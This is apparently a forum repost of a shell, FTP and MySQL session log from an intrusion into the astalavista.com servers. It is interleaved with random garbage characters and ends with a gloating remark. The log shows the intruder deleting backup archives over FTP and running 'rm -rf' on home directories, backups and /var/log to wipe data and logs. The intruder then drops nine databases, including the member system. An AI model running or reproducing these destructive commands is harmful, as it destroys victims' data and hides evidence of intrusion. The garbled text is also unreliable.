% C+ A5 m3 V! F! x' i5 Y; }ftp> ls -la
/ J' K% T: b6 y- q" F0 i227 Entering Passive Mode (212,254,194,163,2,189)+ R( }9 w- r1 u% y
150 Opening BINARY mode data connection for ‘file list’.9 g; e$ s! K) s
-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar) y1 j! L' C4 _3 A
-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
6 b: n4 G+ @' k9 o! ^1 }% w/ \-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2/ G& u2 ^( \3 m# K$ V7 [ z
-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar; Y# X' I! H% W- H3 y' s
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
3 \, d7 P+ C4 @8 P[snip]
$ F/ |5 R6 F* m+ |3 x" r226 Transfer complete.
& H* \3 K: n6 f; B* Z$ s# eftp> mdelete *' P9 a; ^) @9 V" c9 p/ t- _! C
ftp> ls -la
7 H u! o1 n8 c9 ~6 G227 Entering Passive Mode (212,254,194,163,2,193)
$ l/ l2 @* m5 S2 u& v* _150 Opening BINARY mode data connection for ‘file list’.
) i1 s* F) B) ^0 c226 Transfer complete.( b; {7 n" e) w7 P- i
ftp>$ v3 Y; u! ~2 I6 I8 A: f
: i! X: S0 U f, ~3 d
sh-3.2# cd /home8 r9 s8 g( G; Y$ ?
sh-3.2# ls -la
8 _- X! ~0 o/ _; j; J8 Q( etotal 120
% e( J' V7 B; [& E. fdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .% Q, K' i' {2 ?
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..: t$ ]2 H3 p& e& b' x
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin5 I3 i1 L: n/ D: M( F
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
2 v" M+ e$ ~9 G, H2 f" x-rw——- 1 root root 8192 Jun 3 02:45 aquota.user8 g u4 E+ a* P7 ?3 c: s" B
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
# N5 ]7 A5 m+ {drwxr-xr-x 2 root root 4096 Jul 29 2008 backup/ c$ P; B5 A3 @$ L: H* f* U
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
5 C. K4 t3 v! i' m/ Y/ ndrwx–x–x 10 com com 4096 Apr 28 12:40 com+ s. @) x" T9 |- f0 j x
drwxr-xr-x 2 root root 4096 May 17 2007 ftp# A2 w0 f6 e5 J* y5 j% C0 ~5 R5 k% r
drwx—— 3 jon jon 4096 Sep 21 2007 jon
- y) Q+ W: C7 b; s. U2 f; Kdrwx—— 2 root root 16384 Sep 11 2007 lost+found
7 o3 |$ K4 A8 @* Wdrwxr-xr-x 2 root root 4096 Sep 14 2007 my5 s! r$ S8 G: {; D9 ]$ ^
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
; T+ I# e5 n' b2 }2 E$ {drwx—— 2 jon jon 4096 Sep 15 2007 test; u. E+ {& D. o2 F* o5 g$ `
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp6 C) x' P6 W0 i0 T. u
3 s4 ` S6 f. p1 m+ c N9 w3 O/ |6 h( K% g. _
sh-3.2# rm -rf backup/
1 e! Q6 a( N: g5 `: Tsh-3.2# rm -rf backup.14161/9 J9 R: N1 q* N& i
sh-3.2# rm -rf ftp/
2 \: H" M/ J# V$ a3 @+ Nsh-3.2# rm -rf jon/
5 P' m: h9 }- k9 Y9 e; W3 ush-3.2# rm -rf my/. D+ J: K/ Q4 B9 ?5 ~, ^
sh-3.2# rm -rf mysqldata/
/ n7 U& f( C2 @5 [sh-3.2# rm -rf test/+ }$ E( `& X$ u$ z. N/ Y4 r
sh-3.2# rm -rf tmp/; W9 f. t! Q9 X
sh-3.2# cd ~
& w9 }; K1 P1 @: e8 {5 D2 u# {' M/ zsh-3.2# rm -rf *4 f' y) F' n, B9 W) F$ Q9 R0 ^
sh-3.2# rm -rf /var/log/& d, S! V5 c0 N! x J" V
rm: cannot remove directory `/var/log//proftpd’: Directory not empty2 X# t$ B+ v8 _! W1 Y8 @
sh-3.2# rm -rf /home/*
- G1 g: m. F8 d6 o( _8 Csh-3.2# mysql
0 v0 v" o7 k+ N8 |, p+ @4 ^Welcome to the MySQL monitor. Commands end with ; or \g.
) V; J- s1 I5 PYour MySQL connection id is 407156% g1 T' N) O: O0 F
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
1 y/ A b2 F) x1 w6 f6 h
+ h0 x8 E8 Y. B9 [/ U7 {' oType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.( x( \1 k4 R3 s) M0 u
/ A5 Z" F& R% y7 E0 H
mysql> show databases;
2 O/ [( E$ l# n& l/ D$ b" T6 N( o+———————–+
+ G, I0 l7 ~5 Z| Database |) F8 F" F3 E; \3 T; J" n) {
+———————–+7 j+ a7 k2 f) a! C6 a
| information_schema |2 o) m1 V: N1 p/ n. X
| astanet_ads |; P( B$ D, t) B& k8 w. n
| astanet_mailing_lists | M8 b3 p L1 Q
| astanet_mediawiki |: S/ z1 I/ C6 w
| astanet_membersystem |' r. \1 B$ T9 e* {1 |$ {5 x. H# |7 L6 v
| com_contrexx |
# T# o( {0 G# Y% [| com_contrexx2 |) X/ d0 k0 V2 G4 P1 p7 P/ {3 q
| com_contrexx2_live |
% l j7 v+ q8 w| da_roundcube |+ [! Q) Z" v6 J( B) J
| dolphin |
! I; u& v1 q* O) i6 q, q: q: @* F- u2 ]| ideapool |7 O4 u! l {, U2 s
| mysql |1 G9 j. l" A" |
| test |
/ f3 Y: M2 `! O1 H8 Y| yourmaster |
9 @' c0 d+ h2 A- N+———————–+( g8 X* {" h. [* M y" Z b' Z
14 rows in set (0.03 sec)
* L2 P, n; F: Y! m! r
( N" p/ f7 x. F) Emysql> drop database astanet_membersystem;: ~' G+ W m; B' R6 B
droQuery OK, 46 rows affected (0.81 sec) V ]6 g) J1 @! d6 }2 r" X
' ?( h! c! v0 f8 W# i4 Q7 }9 W: E1 bmysql> drop database com_contrexx;
2 |, i- W9 B$ [- hQuery OK, 211 rows affected (2.72 sec)
& F% p# D. L/ @- K/ r* w- o1 m9 w: n3 O& [- T6 i
mysql> drop database com_contrexx2;& L6 K6 M' `0 M6 L; H
Query OK, 237 rows affected (2.23 sec)" U( M/ c) ^- M( ? G" V8 S
& K9 R: s3 w2 h2 h& _. p3 y+ h
mysql> drop database com_contrexx2_live;( O* ]1 n6 R: F
Query OK, 227 rows affected (7.63 sec)
( q& h2 `7 l$ o0 G% _2 r! O' Y+ \4 Q' Z% [8 c$ A
mysql> drop database ideapool;/ O: S5 g: `! @5 s5 p* N: S
Query OK, 69 rows affected (0.19 sec)
; ]4 r* r! r F/ u P, |* x5 Z. T+ ^9 { t
mysql> drop database yourmaster;2 n/ c. m. ^" Z+ ]) N& F
Query OK, 158 rows affected (0.55 sec)2 ` X8 f6 Y* ^
9 ?3 I8 h" `$ A H) V. {
mysql> drop database astanet_ads;
6 ^# B4 s( Q; |5 R, |+ tQuery OK, 9 rows affected (0.11 sec); }) z& q1 \& l# B
3 @2 v. ~$ [0 W) ~6 x- |
mysql> drop database astanet_mailing_lists;+ r5 `# P" _# o1 i; c
Query OK, 24 rows affected (1.47 sec)
& a- \3 c$ H6 x# X8 K/ `: ?
, N; @( u* R: k6 W/ @6 mmysql> drop database astanet_mediawiki;
0 {% P, |) d' @; G' k& S Z9 PQuery OK, 31 rows affected (0.51 sec)
3 k: y A7 c2 \" Q0 G: C6 X; F/ C Y% x, B9 W+ z
mysql> show databases;8 F# C' _2 ^' b, \/ H; n! a
+——————–+- K+ R. p; @$ ]4 [7 D' r' g. l- P H x
| Database |* M, \8 C" J |9 B8 J
+——————–+1 ^+ d% x; c4 K: c7 \, v7 j
| information_schema |! U5 M: S+ k& {! H4 r) ?
| da_roundcube |4 e; b: C: P+ z; ~- m( K
| dolphin |. |" y* Q* i3 L- N# X; f
| mysql |
* A0 [1 B, Q. [# f& v0 t) e| test |; Z1 b% b" ]9 K( d; F7 g. w
+——————–+
# f' [: b: s' S5 I, a1 U% B' C. L5 rows in set (0.00 sec)7 w' U( V: m' H. T2 H# B- F
/ U# q' i1 g' b' i0 e
What a journey! We’re not sure exactly why the “Terminator” had any influence on
& j- L9 U. K( T+ U6 u, V9 A$ m) g5 otheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the$ m+ \' H8 L" V& v& O4 K
wrong to say this pack of morons *wont be back*.
3 Y/ \) ]; J9 J! X% g4 j0 s |
发表于 2012-11-6 21:07:34
收藏
支持
反对